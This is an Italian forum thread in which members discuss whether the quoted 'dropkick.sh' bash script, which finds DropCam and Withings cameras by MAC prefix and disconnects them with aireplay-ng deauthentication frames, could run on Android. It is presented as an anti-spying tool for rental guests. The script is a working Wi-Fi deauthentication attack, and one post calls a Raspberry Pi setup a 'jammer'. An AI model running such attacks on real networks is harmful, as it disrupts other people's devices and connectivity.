Per favore, aggiungi TurboLab.it alle eccezioni del tuo Ad Blocker. Siamo un progetto no-profit, e la pubblicità è indispensabile per pagare le spese.

In alternativa, puoi sostenerci con una donazione.

Rispetteremo ogni tua scelta, e potrai sempre utilizzare il sito senza limitazioni.

Nascondi avviso per 3 giorni

×

Inserisci link ad articolo di TurboLab.it Ricerca articoli

Cerca e inserisci il collegamento a un articolo pubblicato da TurboLab.it

Digita almeno 3 caratteri, poi premi "Invio"

Script per rilevare telecamere wifi

Galaxy, Nexus, Xperia, Optimus o altri dispositivi "robotici"? Che si tratti di configurare il telefono o tablet, installare una ROM "cucinata" o scambiare quattro chiacchiere sui migliori dispositivi, la community Android si incontra qui.
Regole del forum
Avatar utente
Al3x
Amministratore
Amministratore
Messaggi: 4967
Iscritto il: mer mag 01, 2013 12:59 pm
Località: http://127.0.0.1
Has thanked: 70 times
Been thanked: 38 times

Script per rilevare telecamere wifi

Messaggio da Al3x »

Per favore, aggiungi TurboLab.it alle eccezioni del tuo Ad Blocker. Siamo un progetto no-profit, e la pubblicità è indispensabile per pagare le spese.

In alternativa, puoi sostenerci con una donazione.

Rispetteremo ogni tua scelta, e potrai sempre utilizzare il sito senza limitazioni.

Nascondi avviso per 3 giorni

In riferimento a questo articolo su Repubblica di oggi, secondo voi questo script ha efficacia se usato in un emulatore di terminale su un dispositivo Android?
https://julianoliver.com/output/log_2015-12-18_14-39

Codice: Seleziona tutto

#!/bin/bash
#
# DROPKICK.SH 
#
# Detect and Disconnect the DropCam and Withings devices some people are using to
# spy on guests in their home, especially in AirBnB rentals. Based on Glasshole.sh:
#
#   http://julianoliver.com/output/log_2014-05-30_20-52 
#
# This script was named by Adam Harvey (http://ahprojects.com), who also
# encouraged me to write it. It requires a GNU/Linux host (laptop, Raspberry Pi,
# etc) and the aircrack-ng suite. I put 'beep' in there for a little audio
# notification. Comment it out if you don't need it.
#
# See also http://plugunplug.net, for a plug-and-play device that does this
# based on OpenWrt. Code here:
#
#   https://github.com/JulianOliver/CyborgUnplug
# 
# Save as dropkick.sh, 'chmod +x dropkick.sh' and exec as follows:
#
#   sudo ./dropkick.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>

shopt -s nocasematch # Set shell to ignore case
shopt -s extglob # For non-interactive shell.

readonly NIC=$1 # Your wireless NIC
readonly BSSID=$2 # Network BSSID (AirBnB WiFi network)
readonly MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
# MAC=$(ip link show "$NIC" | awk '/ether/ {print $2}') # If 'ifconfig' not
# present.
readonly GGMAC='@(30:8C:FB*|00:24:E4*)' # Match against DropCam and Withings 
readonly POLL=30 # Check every 30 seconds
readonly LOG=/var/log/dropkick.log

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device

while true;
    do  
        for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
        '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
           do
               if [[ "$TARGET" == "$GGMAC" ]]
                   then
                       # Audio alert
                       beep -f 1000 -l 500 -n 200 -r 2
                       echo "WiFi camera discovered: "$TARGET >> $LOG
                       aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 
                       echo "De-authed: "$TARGET " from network: " $BSSID >> $LOG
                       echo '
                             __              __    _     __          __                      
                         ___/ /______  ___  / /__ (_)___/ /_____ ___/ / 
                        / _  / __/ _ \/ _ \/   _// / __/   _/ -_) _  / 
                        \_,_/_/  \___/ .__/_/\_\/_/\__/_/\_\\__/\_,_/  
                                    /_/

                       '                                        
                    else
                        echo $TARGET": is not a DropCam or Withings device. Leaving alone.."
               fi
           done
           echo "None found this round."
           sleep $POLL
done
airmon-ng stop mon0
I :amore Sasha
Avatar utente
CUB3
Moderatore
Moderatore
Messaggi: 4966
Iscritto il: lun gen 26, 2015 10:13 am
Has thanked: 87 times
Been thanked: 112 times

Re: Script per rilevare telecamere wifi

Messaggio da CUB3 »

Potrebbe funzionare con una interfaccia wireless esterna, collegata tramite USB e compatibile con aircrack-ng e, ovviamente, root!
Il limite infatti è proprio la "modalità monitor" di aircrack richiesta dallo script che, per quello che ne so io, non è possibile con le interfacce wireless dei cellulari (qualche anno fa, c'era stato un tentativo di reverse engineering solo per chipset della broadcom).
"Let me tell you a secret: when you hear that the machine is “smart”, what it actually means is that it’s exploitable." Mikko Hypponen
Avatar utente
Ganondolf
Livello: Disco fisso (9/15)
Livello: Disco fisso (9/15)
Messaggi: 674
Iscritto il: mar gen 28, 2014 10:51 am
Località: Mestre

Re: Script per rilevare telecamere wifi

Messaggio da Ganondolf »

Per funzionare quello script ha bisogno di aircrack-ng, che dubito tu possa compilare su android...
Avatar utente
Al3x
Amministratore
Amministratore
Messaggi: 4967
Iscritto il: mer mag 01, 2013 12:59 pm
Località: http://127.0.0.1
Has thanked: 70 times
Been thanked: 38 times

Re: Script per rilevare telecamere wifi

Messaggio da Al3x »

con questa versione di debian per android pensate si possa fare?

https://play.google.com/store/apps/deta ... untu&hl=it
I :amore Sasha
Avatar utente
Al3x
Amministratore
Amministratore
Messaggi: 4967
Iscritto il: mer mag 01, 2013 12:59 pm
Località: http://127.0.0.1
Has thanked: 70 times
Been thanked: 38 times

Re: Script per rilevare telecamere wifi

Messaggio da Al3x »

sto leggendo ora che l'ultimo aggiornamento risale al 2015...
I :amore Sasha
Avatar utente
CUB3
Moderatore
Moderatore
Messaggi: 4966
Iscritto il: lun gen 26, 2015 10:13 am
Has thanked: 87 times
Been thanked: 112 times

Re: Script per rilevare telecamere wifi

Messaggio da CUB3 »

Ganondolf ha scritto: dom ott 22, 2017 3:35 am Per funzionare quello script ha bisogno di aircrack-ng, che dubito tu possa compilare su android...
È teoricamente possibile! [1] [2] Ma compilarlo è solo una perdita di tempo proprio perché il limite è il chipset del wifi che senza patch non supporta la modalità "monitor"... il problema è che non ci sono nemmeno le patch per i chipset degli smartphone!!

Il sistema più semplice per utilizzare aircrack è quello di installare una distro Linux (Kali Linux??) in chroot e utilizzare una scheda wifi esterna.
Al3x ha scritto: dom ott 22, 2017 8:32 am con questa versione di debian per android pensate si possa fare?

https://play.google.com/store/apps/deta ... untu&hl=it
Il root è essenziale!!
"Let me tell you a secret: when you hear that the machine is “smart”, what it actually means is that it’s exploitable." Mikko Hypponen
Avatar utente
Ganondolf
Livello: Disco fisso (9/15)
Livello: Disco fisso (9/15)
Messaggi: 674
Iscritto il: mar gen 28, 2014 10:51 am
Località: Mestre

Re: Script per rilevare telecamere wifi

Messaggio da Ganondolf »

CUB3 ha scritto: dom ott 22, 2017 10:22 am Il sistema più semplice per utilizzare aircrack è quello di installare [url=https://play.google.com/store/apps/deta ... ploy&hl=it]una distro Linux (Kali Linux??)
Il sistema più semplice è pigliarsi un raspberry pi :mrgreen:
Avatar utente
Al3x
Amministratore
Amministratore
Messaggi: 4967
Iscritto il: mer mag 01, 2013 12:59 pm
Località: http://127.0.0.1
Has thanked: 70 times
Been thanked: 38 times

Re: Script per rilevare telecamere wifi

Messaggio da Al3x »

Quindi in buona sostanza con un Raspberry puoi farti un jammer
I :amore Sasha
Avatar utente
CUB3
Moderatore
Moderatore
Messaggi: 4966
Iscritto il: lun gen 26, 2015 10:13 am
Has thanked: 87 times
Been thanked: 112 times

Re: Script per rilevare telecamere wifi

Messaggio da CUB3 »

Ganondolf ha scritto: lun ott 23, 2017 1:45 am
CUB3 ha scritto: dom ott 22, 2017 10:22 am Il sistema più semplice per utilizzare aircrack è quello di installare [url=https://play.google.com/store/apps/deta ... ploy&hl=it]una distro Linux (Kali Linux??)
Il sistema più semplice è pigliarsi un raspberry pi :mrgreen:
Mi sono dimenticato di aggiungere... su smartphone!! :acch
:D
"Let me tell you a secret: when you hear that the machine is “smart”, what it actually means is that it’s exploitable." Mikko Hypponen

Per favore, aggiungi TurboLab.it alle eccezioni del tuo Ad Blocker. Siamo un progetto no-profit, e la pubblicità è indispensabile per pagare le spese.

In alternativa, puoi sostenerci con una donazione.

Rispetteremo ogni tua scelta, e potrai sempre utilizzare il sito senza limitazioni.

Nascondi avviso per 3 giorni